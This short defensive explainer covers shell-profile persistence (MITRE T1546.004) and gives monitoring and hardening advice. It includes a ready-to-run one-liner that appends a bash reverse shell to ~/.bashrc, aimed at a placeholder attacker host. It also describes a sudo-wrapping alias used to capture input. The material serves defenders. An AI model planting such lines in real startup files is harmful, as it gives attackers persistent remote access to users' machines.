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What is a malicious shell profile?
A malicious shell profile is persistence that adds attacker commands to a shell startup file, ~/.bashrc, 
~/.bash_profile, ~/.profile, ~/.zshrc, or system-wide /etc/profile and /etc/profile.d/, so the payload 
runs every time a shell starts. It triggers on normal user activity (opening a terminal, an SSH login), 
needs only write access to the file (no root for user files), and hides among ordinary configuration. It 
maps to MITRE T1546.004.

H O W  I T  W O R K S

01 The technique and payload
The attacker appends to a startup file:

· User-level (no root): echo 'bash -c "bash -i >& 

/dev/tcp/ATTACKER/443 0>&1" &' >> ~/.bashrc 

fires a backgrounded reverse shell each time the 

user opens a shell.

· System-wide (root): drop a script in 

/etc/profile.d/ so it runs for every user’s login 

shell.

· Subtler: define a malicious alias or function (for 

example wrapping sudo) to capture input or run 

code.

It triggers on the next interactive shell or SSH 

login. Documented for defensive context.

T R I G G E R S  O N  N O R M A L  U S E

A shell-profile backdoor needs no scheduler or service, 
it fires when the user simply opens a terminal or logs 
in over SSH. That makes it reliable and easy to overlook 
among normal dotfiles.

H O W  T O  D E F E N D

· Monitor shell startup files (user dotfiles 

and /etc/profile, /etc/profile.d/-

, /etc/bash.bashrc) for changes via file 

integrity monitoring.

· Baseline legitimate dotfiles and review 

them, especially on shared and service 

accounts.

· Alert on profile contents that spawn 

shells, make network connections, 

or define suspicious aliases/functions 

(like a sudo wrapper).

· Limit root to protect the system-wide 

profile files.

· Audit new or recently modified dotfiles 

after suspected compromise.
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